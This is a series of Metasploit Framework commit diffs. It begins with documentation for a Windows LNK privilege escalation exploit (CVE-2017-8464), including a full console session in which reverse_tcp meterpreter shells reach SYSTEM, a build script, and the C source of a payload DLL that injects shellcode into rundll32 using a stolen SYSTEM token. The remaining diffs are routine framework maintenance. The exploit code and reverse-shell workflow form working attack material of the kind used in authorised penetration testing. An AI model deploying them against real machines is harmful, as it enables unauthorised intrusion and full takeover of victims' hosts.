`CreateProcessAsUser` for the payload to work. When the DLL is loaded
into another process or is not running as SYSTEM, this step is skipped
and `NULL` is passed as the token.
Finally a thread is spawned to keep a module reference and monitor the
child process. This is for synchronization to prevent the payload from
being executed in rapid succession from a single exploitation attempt.
The mutex was also updated to the constant of `MUTEX!!!` to leverage
Metasploit's builtin mutex name randomization, which ensures that a name
is unique per module run but not globally unique.
## Vulnerable Systems
Tested and works on
Windows 7x64 SP0
Windows 7x64 SP1
Windows 8x64
Windows 8.1x64
Windows 10x64 Build 1511
Windows 10x64 Build 1607
Windows 10x64 Build 1703
## Running Example:
```
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.135.112
LHOST => 192.168.135.112
> set LPORT 30001
LPORT => 30001
> show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.112 yes The listen address
LPORT 30001 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
[*] > Ruby Code (13 bytes)
> run -z
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.135.112:30001
[*] Sending stage (205379 bytes) to 192.168.134.133
[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
> sysinfo
Computer : WIN7X64-SP0
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x64/windows
> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
> use exploit/windows/local/cve_2017_8464_lnk_lpe
> set session 1
session => 1
> set target 0
target => 0
> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
> set lhost 192.168.135.112
lhost => 192.168.135.112
> set lport 30002
lport => 30002
> set verbose true
verbose => true
> show options
Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
DLLNAME no The DLL file containing the payload
FILENAME no The LNK file
PATH no An explicit path to where the files should be written to
SESSION 1 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.112 yes The listen address
LPORT 30002 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
> run -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.135.112:30002
[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
[*] Sending stage (205379 bytes) to 192.168.134.133
[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
[*] Waiting 15s before file cleanup...
[+] Deleted C:\Users\msfuser\HADoIQMbEQDpbbRn.lnk
[+] Deleted C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
> sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7X64-SP0 192.168.135.112:30002 -> 192.168.134.133:49179 (192.168.134.133)
> getuid
Server username: WIN7X64-SP0\msfuser
Server username: NT AUTHORITY\SYSTEM
> getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
> getuid
Server username: NT AUTHORITY\SYSTEM
> exit -y
```
## Compiling instructions
`cd ./external/source/exploits/cve-2017-8464`
`./build.sh`
(Requires `mingw-w64` package)

View File

@ -4,7 +4,7 @@
via its SMTP server validation. The module sends a malicious response along in the via its SMTP server validation. The module sends a malicious response along in the
220 service ready response and exploits the client, resulting in an unprivileged shell. 220 service ready response and exploits the client, resulting in an unprivileged shell.
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe). The software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
## Verification Steps ## Verification Steps

View File

@ -0,0 +1,17 @@
#!/bin/sh
rm -f *.o *.dll
CCx86="i686-w64-mingw32"
CCx64="x86_64-w64-mingw32"
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
${CCx64}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
rm -f temp.dll *.o
chmod -x ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
${CCx86}-gcc -c -Os template.c -Wall -shared
${CCx86}-dllwrap --def template.def *.o -o temp.dll
${CCx86}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
rm -f temp.dll *.o
chmod -x ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll

View File

@ -0,0 +1,241 @@
#include <windows.h>
#include <sddl.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <userenv.h>
#include "template.h"
void ExecutePayload(HANDLE hDll);
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
ExecutePayload(hDll);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
int result;
if (strlen(szStr) < strlen(szSuffix)) {
return FALSE;
}
if (bCaseSensitive) {
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
}
else {
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
}
return result == 0;
}
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
HANDLE hToken;
DWORD dwLength = 0;
TOKEN_USER *tuUser = NULL;
SIZE_T szSid = 0;
*pSid = NULL;
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
return FALSE;
}
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
tuUser = (TOKEN_USER *)malloc(dwLength);
if (!tuUser) {
return FALSE;
}
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
free(tuUser);
return FALSE;
}
szSid = GetLengthSid(tuUser->User.Sid);
*pSid = LocalAlloc(LPTR, szSid);
if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
LocalFree(*pSid);
*pSid = NULL;
}
free(tuUser);
CloseHandle(hToken);
return *pSid != NULL;
}
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
PSID pTestSid = NULL;
PSID pTargetSid = NULL;
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
return FALSE;
}
if (!GetProcessSid(hProc, &pTestSid)) {
LocalFree(pTargetSid);
return FALSE;
}
*pbResult = EqualSid(pTestSid, pTargetSid);
LocalFree(pTargetSid);
LocalFree(pTestSid);
return TRUE;
}
DWORD FindProcessId(LPCTSTR szProcessName) {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD result = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
CloseHandle(hProcessSnap);
return 0;
}
do {
if (!strcmp(szProcessName, pe32.szExeFile)) {
result = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return result;
}
HANDLE GetPayloadToken(void) {
HANDLE hTokenHandle = NULL;
HANDLE hProcessHandle = NULL;
BOOL bIsSystem = FALSE;
DWORD dwPid = 0;
CHAR Path[MAX_PATH + 1];
ZeroMemory(Path, sizeof(Path));
GetModuleFileNameA(NULL, Path, MAX_PATH);
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
return NULL;
}
/* loaded into the context of SearchProtocolHost.exe */
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
return NULL;
}
/* and running as NT_AUTHORITY SYSTEM */
dwPid = FindProcessId("spoolsv.exe");
if (!dwPid) {
return NULL;
}
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
if (!hProcessHandle) {
return NULL;
}
bIsSystem = FALSE;
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
return NULL;
}
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
CloseHandle(hProcessHandle);
return hTokenHandle;
}
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
/* wait for the process to exit or 10 seconds before cleaning up */
WaitForSingleObject(pExploitData->hProcess, 10000);
CloseHandle(pExploitData->hProcess);
CloseHandle(pExploitData->hMutex);
/* this does not return */
FreeLibraryAndExitThread(pExploitData->hModule, 0);
return 0;
}
void ExecutePayload(HANDLE hDll) {
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
LPVOID ep;
SECURITY_ATTRIBUTES MutexAttributes;
SIZE_T dwBytesWritten = 0;
PEXPLOIT_DATA pExploitData = NULL;
HANDLE hToken;
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
if (!pExploitData) {
return;
}
/* keep a reference to the module for synchronization purposes */
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
MutexAttributes.nLength = sizeof(MutexAttributes);
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
if (!pExploitData->hMutex) {
return;
}
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(pExploitData->hMutex);
return;
}
if (GetLastError() == ERROR_ACCESS_DENIED) {
CloseHandle(pExploitData->hMutex);
return;
}
hToken = GetPayloadToken();
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
/* start up the payload in a new process */
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
if (dwBytesWritten == SCSIZE) {
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
pExploitData->hProcess = pi.hProcess;
}
}
if (hToken) {
CloseHandle(hToken);
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
}

View File

@ -0,0 +1,11 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
typedef struct {
HANDLE hModule;
HANDLE hMutex;
HANDLE hProcess;
} EXPLOIT_DATA, *PEXPLOIT_DATA;
#define SIDSTR_SYSTEM _T("s-1-5-18")
#define IsProcessRunningAsSystem(hProc, bResult) IsProcessRunningAsSidString(hProc, SIDSTR_SYSTEM, bResult)

View File

@ -634,8 +634,8 @@ module Metasploit
if idx > 0 if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0] encryption_mode = resp[idx, 1].unpack("C")[0]
else else
raise RunTimeError, "Unable to parse encryption req. "\ framework_module.print_error("Unable to parse encryption req " \
"from server during prelogin" "during pre-login, this may not be a MSSQL server")
encryption_mode = ENCRYPT_NOT_SUP encryption_mode = ENCRYPT_NOT_SUP
end end
@ -682,8 +682,9 @@ module Metasploit
if idx > 0 if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0] encryption_mode = resp[idx, 1].unpack("C")[0]
else else
raise RuntimeError, "Unable to parse encryption "\ framework_module.print_error("Unable to parse encryption req " \
"req during pre-login" "during pre-login, this may not be a MSSQL server")
encryption_mode = ENCRYPT_NOT_SUP
end end
end end
encryption_mode encryption_mode

View File

@ -30,7 +30,7 @@ module Metasploit
end end
end end
VERSION = "4.16.13" VERSION = "4.16.23"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev' PRERELEASE = 'dev'
HASH = get_hash HASH = get_hash

View File

@ -634,7 +634,6 @@ class ReadableText
sess_via = session.via_exploit.to_s sess_via = session.via_exploit.to_s
sess_type = session.type.to_s sess_type = session.type.to_s
sess_uuid = session.payload_uuid.to_s sess_uuid = session.payload_uuid.to_s
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
sess_enc = false sess_enc = false
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key] if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
@ -652,10 +651,10 @@ class ReadableText
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}" sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
end end
if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid]) if session.payload_uuid.registered
sess_registration = "Yes" sess_registration = "Yes"
if uuid_info['name'] if session.payload_uuid.name
sess_registration << " - Name=\"#{uuid_info['name']}\"" sess_registration << " - Name=\"#{session.payload_uuid.name}\""
end end
end end

View File

@ -147,9 +147,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*') guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
session.core.set_session_guid(guid) session.core.set_session_guid(guid)
session.session_guid = guid session.session_guid = guid
# TODO: New statgeless session, do some account in the DB so we can track it later. # TODO: New stageless session, do some account in the DB so we can track it later.
else else
# TODO: This session was either staged or previously known, and so we shold do some accounting here! # TODO: This session was either staged or previously known, and so we should do some accounting here!
end end
unless datastore['AutoLoadStdapi'] == false unless datastore['AutoLoadStdapi'] == false

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_ppce500v2_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_PPCE500V2
end
end
end
end

View File

@ -27,6 +27,10 @@ module Msf
generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid]) generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid])
end end
def generate_uri_option(opts, opt)
opts[opt] ? "--#{opt} '#{opts[opt].gsub(/'/, "\\'")}' " : ''
end
def generate_http_uri(opts) def generate_http_uri(opts)
if Rex::Socket.is_ipv6?(opts[:lhost]) if Rex::Socket.is_ipv6?(opts[:lhost])
target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]" target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]"
@ -38,7 +42,15 @@ module Msf
target_uri << opts[:lport].to_s target_uri << opts[:lport].to_s
target_uri << luri target_uri << luri
target_uri << generate_uri(opts) target_uri << generate_uri(opts)
target_uri target_uri << '|'
target_uri << generate_uri_option(opts, :ua)
target_uri << generate_uri_option(opts, :host)
target_uri << generate_uri_option(opts, :referer)
if opts[:cookie]
opts[:header] = "Cookie: #{opts[:cookie]}"
target_uri << generate_uri_option(opts, :header)
end
target_uri.strip
end end
def generate_tcp_uri(opts) def generate_tcp_uri(opts)
@ -57,14 +69,11 @@ module Msf
case opts[:scheme] case opts[:scheme]
when 'http' when 'http'
transport = transport_config_reverse_http(opts) opts[:uri] = generate_http_uri(transport_config_reverse_http(opts))
opts[:uri] = generate_http_uri(transport)
when 'https' when 'https'
transport = transport_config_reverse_https(opts) opts[:uri] = generate_http_uri(transport_config_reverse_https(opts))
opts[:uri] = generate_http_uri(transport)
when 'tcp' when 'tcp'
transport = transport_config_reverse_tcp(opts) opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts))
opts[:uri] = generate_tcp_uri(transport)
else else
raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" raise ArgumentError, "Unknown scheme: #{opts[:scheme]}"
end end
@ -74,7 +83,7 @@ module Msf
unless opts[:stageless] == true unless opts[:stageless] == true
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*') guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
end end
opts[:session_guid] = Base64.encode64(guid) opts[:session_guid] = Base64.encode64(guid).strip
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file) opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
end end

View File

@ -27,7 +27,7 @@ module Scriptable
# Scan all of the path combinations # Scan all of the path combinations
check_paths.each { |path| check_paths.each { |path|
if ::File.exist?(path) if ::File.file?(path)
full_path = path full_path = path
break break
end end
@ -150,7 +150,7 @@ module Scriptable
# session # session
local_exploit_opts = local_exploit_opts.merge(opts) local_exploit_opts = local_exploit_opts.merge(opts)
new_session = mod.exploit_simple( mod.exploit_simple(
'Payload' => local_exploit_opts.delete('payload'), 'Payload' => local_exploit_opts.delete('payload'),
'Target' => local_exploit_opts.delete('target'), 'Target' => local_exploit_opts.delete('target'),
'LocalInput' => self.user_input, 'LocalInput' => self.user_input,

View File

@ -10,8 +10,7 @@
# #
### ###
# Sanity check this version of ruby # Include backported features for older versions of Ruby
require 'msf/sanity'
require 'backports' require 'backports'
# The framework-core depends on Rex # The framework-core depends on Rex

View File

@ -17,6 +17,7 @@ class Msf::Author
KNOWN = { KNOWN = {
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com', 'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
'anonymous' => 'Unknown', 'anonymous' => 'Unknown',
'aushack' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
@ -39,7 +40,6 @@ class Msf::Author
'mubix' => 'mubix' + 0x40.chr + 'hak5.org', 'mubix' => 'mubix' + 0x40.chr + 'hak5.org',
'natron' => 'natron' + 0x40.chr + 'metasploit.com', 'natron' => 'natron' + 0x40.chr + 'metasploit.com',
'optyx' => 'optyx' + 0x40.chr + 'no$email.com', 'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com', 'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',

View File

@ -43,7 +43,7 @@ def rport
end end
def set_nmap_cmd def set_nmap_cmd
self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary") self.nmap_bin || (raise "Cannot locate nmap binary")
nmap_set_log nmap_set_log
nmap_add_ports nmap_add_ports
nmap_cmd = [self.nmap_bin] nmap_cmd = [self.nmap_bin]
@ -54,7 +54,7 @@ def set_nmap_cmd
end end
def get_nmap_ver def get_nmap_ver
self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary") self.nmap_bin || (raise "Cannot locate nmap binary")
res = "" res = ""
nmap_cmd = [self.nmap_bin] nmap_cmd = [self.nmap_bin]
nmap_cmd << "--version" nmap_cmd << "--version"
@ -84,7 +84,7 @@ def nmap_version_at_least?(test_ver=nil)
end end
def nmap_build_args def nmap_build_args
raise RuntimeError, "nmap_build_args() not defined by #{self.refname}" raise "nmap_build_args() not defined by #{self.refname}"
end end
def nmap_run def nmap_run
@ -159,13 +159,13 @@ end
# A helper to add in rport or rports as a -p argument # A helper to add in rport or rports as a -p argument
def nmap_add_ports def nmap_add_ports
if not nmap_validate_rports if not nmap_validate_rports
raise RuntimeError, "Cannot continue without a valid port list." raise "Cannot continue without a valid port list."
end end
port_arg = "-p \"#{datastore['RPORT'] || rports}\"" port_arg = "-p \"#{datastore['RPORT'] || rports}\""
if nmap_validate_arg(port_arg) if nmap_validate_arg(port_arg)
self.nmap_args << port_arg self.nmap_args << port_arg
else else
raise RunTimeError, "Argument is invalid" raise "Argument is invalid"
end end
end end
@ -237,7 +237,7 @@ end
# module to ferret out whatever's interesting in this host # module to ferret out whatever's interesting in this host
# object. # object.
def nmap_hosts(&block) def nmap_hosts(&block)
@nmap_bin || (raise RuntimeError, "Cannot locate the nmap binary.") @nmap_bin || (raise "Cannot locate the nmap binary.")
fh = self.nmap_log[0] fh = self.nmap_log[0]
nmap_data = fh.read(fh.stat.size) nmap_data = fh.read(fh.stat.size)
# fh.unlink # fh.unlink

View File

@ -44,7 +44,7 @@ module Msf::DBManager::Report
unless artifact.valid? unless artifact.valid?
errors = artifact.errors.full_messages.join('; ') errors = artifact.errors.full_messages.join('; ')
raise RuntimeError "Artifact to be imported is not valid: #{errors}" raise "Artifact to be imported is not valid: #{errors}"
end end
artifact.save artifact.save
end end
@ -66,7 +66,7 @@ module Msf::DBManager::Report
unless report.valid? unless report.valid?
errors = report.errors.full_messages.join('; ') errors = report.errors.full_messages.join('; ')
raise RuntimeError "Report to be imported is not valid: #{errors}" raise "Report to be imported is not valid: #{errors}"
end end
report.state = :complete # Presume complete since it was exported report.state = :complete # Presume complete since it was exported
report.save report.save

View File

@ -137,6 +137,8 @@ module Exploit::CmdStager
raise ArgumentError, 'The command stager could not be generated' raise ArgumentError, 'The command stager could not be generated'
end end
vprint_status("Generated command stager: #{cmd_list.join}")
cmd_list cmd_list
end end

View File

@ -474,7 +474,13 @@ module Exploit::Remote::HttpClient
uri = normalize_uri(custom_uri || target_uri.to_s) uri = normalize_uri(custom_uri || target_uri.to_s)
"#{uri_scheme}://#{rhost}#{uri_port}#{uri}" if Rex::Socket.is_ipv6?(rhost)
uri_host = "[#{rhost}]"
else
uri_host = rhost
end
"#{uri_scheme}://#{uri_host}#{uri_port}#{uri}"
end end
# #

View File

@ -14,9 +14,11 @@ module Exploit::Powershell
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]), OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]), OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]), OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]), OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
OptBool.new('Powershell::use_single_quotes', [true, 'Wraps the -Command argument in single quotes', false]), OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]), OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]]) OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
] ]
@ -215,14 +217,13 @@ module Exploit::Powershell
# powershell script # powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC% # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line # environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command # @option opts [Boolean] :wrap_double_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload # argument in double quotes unless :encode_final_payload
# #
# @return [String] Powershell command line with payload # @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts = {}) def cmd_psh_payload(pay, payload_arch, opts = {})
options.validate(datastore) %i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload
remove_comspec noninteractive wrap_double_quotes no_equals method].map do |opt|
%i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload use_single_quotes no_equals method].map do |opt|
opts[opt] ||= datastore["Powershell::#{opt}"] opts[opt] ||= datastore["Powershell::#{opt}"]
end end

View File

@ -111,7 +111,7 @@ module Exploit::Remote::SMTPDeliver
unless res[0..2] == '235' unless res[0..2] == '235'
print_error("Authentication failed, quitting") print_error("Authentication failed, quitting")
disconnect(nsock) disconnect(nsock)
raise RuntimeError.new 'Could not authenticate to SMTP server' raise 'Could not authenticate to SMTP server'
end end
else else
print_status("Server requested auth and no creds given, trying to continue anyway") print_status("Server requested auth and no creds given, trying to continue anyway")
@ -126,7 +126,7 @@ module Exploit::Remote::SMTPDeliver
unless res[0..2] == '235' unless res[0..2] == '235'
print_error("Authentication failed, quitting") print_error("Authentication failed, quitting")
disconnect(nsock) disconnect(nsock)
raise RuntimeError.new 'Could not authenticate to SMTP server' raise 'Could not authenticate to SMTP server'
end end
else else
print_status("Server requested auth and no creds given, trying to continue anyway") print_status("Server requested auth and no creds given, trying to continue anyway")

View File

@ -222,7 +222,16 @@ protected
s.set_from_exploit(assoc_exploit) s.set_from_exploit(assoc_exploit)
# Pass along any associated payload uuid if specified # Pass along any associated payload uuid if specified
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid] if opts[:payload_uuid]
s.payload_uuid = opts[:payload_uuid]
if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[s.payload_uuid.puid_hex])
s.payload_uuid.registered = true
s.payload_uuid.name = uuid_info['name']
s.payload_uuid.timestamp = uuid_info['timestamp']
else
s.payload_uuid.registered = false
end
end
# If the session is valid, register it with the framework and # If the session is valid, register it with the framework and
# notify any waiters we may have. # notify any waiters we may have.

View File

@ -52,16 +52,38 @@ module ReverseHttp
register_advanced_options( register_advanced_options(
[ [
OptAddress.new('ReverseListenerBindAddress',
OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]), 'The specific IP address to bind to on the local system'
OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']), ),
OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']), OptBool.new('OverrideRequestHost',
OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), ),
OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), OptString.new('OverrideLHOST',
OptString.new('OverrideScheme', [false, 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https']), 'When OverrideRequestHost is set, use this value as the host name for secondary requests'
OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']), ),
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) OptPort.new('OverrideLPORT',
'When OverrideRequestHost is set, use this value as the port number for secondary requests'
),
OptString.new('OverrideScheme',
'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
),
OptString.new('HttpUserAgent',
'The user-agent that the payload should use for communication',
default: Rex::UserAgent.shortest,
aliases: ['MeterpreterUserAgent']
),
OptString.new('HttpServerName',
'The server header that the handler will send in response to requests',
default: 'Apache',
aliases: ['MeterpreterServerName']
),
OptString.new('HttpUnknownRequestResponse',
'The returned HTML response body when the handler receives a request that is not from a payload',
default: '<html><body><h1>It works!</h1></body></html>'
),
